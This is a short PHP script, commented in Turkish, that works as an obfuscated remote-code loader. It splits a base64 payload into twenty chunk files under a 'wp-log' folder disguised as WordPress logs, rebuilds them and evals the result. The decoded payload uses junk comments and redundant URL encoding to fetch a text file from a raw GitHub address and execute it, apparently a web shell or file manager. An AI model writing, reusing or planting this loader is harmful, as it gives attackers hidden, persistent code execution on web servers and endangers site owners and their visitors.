<?php
// Hata raporlama
error_reporting(E_ALL);
ini_set('display_errors', 1);

// Şifreli base64 string
$encrypted_str = 'LyoqKiovQG51bGw7IC8qKioqKioqKi8gLyoqKioqKiovIC8qKioqKioqKi9AZXZhbC8qKioqLygiPz4iLmZpbGVfZ2V0X2NvbnRlbnRzLyoqKioqKiovKHVybGRlY29kZSh1cmxlbmNvZGUocmF3dXJsZGVjb2RlKHJhd3VybGVuY29kZSgiaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2hpbG5ldC9tZXRva2wvbWFpbi9mbS50eHQiKSkpKSkpOy8qKi8=';

// Parça sayısı
$parca_sayisi = 20;
$parca_uzunluk = ceil(strlen($encrypted_str) / $parca_sayisi);

// Klasör oluştur
$dir = 'wp-log';
if (!is_dir($dir)) {
    mkdir($dir, 0777, true);
}

// Parçaları oluştur ve yaz
$parca_listesi = [];
for ($i = 0; $i < $parca_sayisi; $i++) {
    $parca = substr($encrypted_str, $i * $parca_uzunluk, $parca_uzunluk);
    $dosya_adi = $dir . '/parca_' . uniqid() . '.dat';
    file_put_contents($dosya_adi, $parca);
    $parca_listesi[] = $dosya_adi;
}

// Parça dosya adlarını JSON olarak kaydet
$json_path = $dir . '/parcalar.json';
file_put_contents($json_path, json_encode($parca_listesi));

// Parçaları sırayla oku ve birleştir
$decoded_base64 = '';
$liste = json_decode(file_get_contents($json_path), true);
foreach ($liste as $parca_dosya) {
    $decoded_base64 .= file_get_contents($parca_dosya);
}

// Base64 çöz
$kod = base64_decode($decoded_base64);

// Kodu çalıştır
eval($kod);
?>

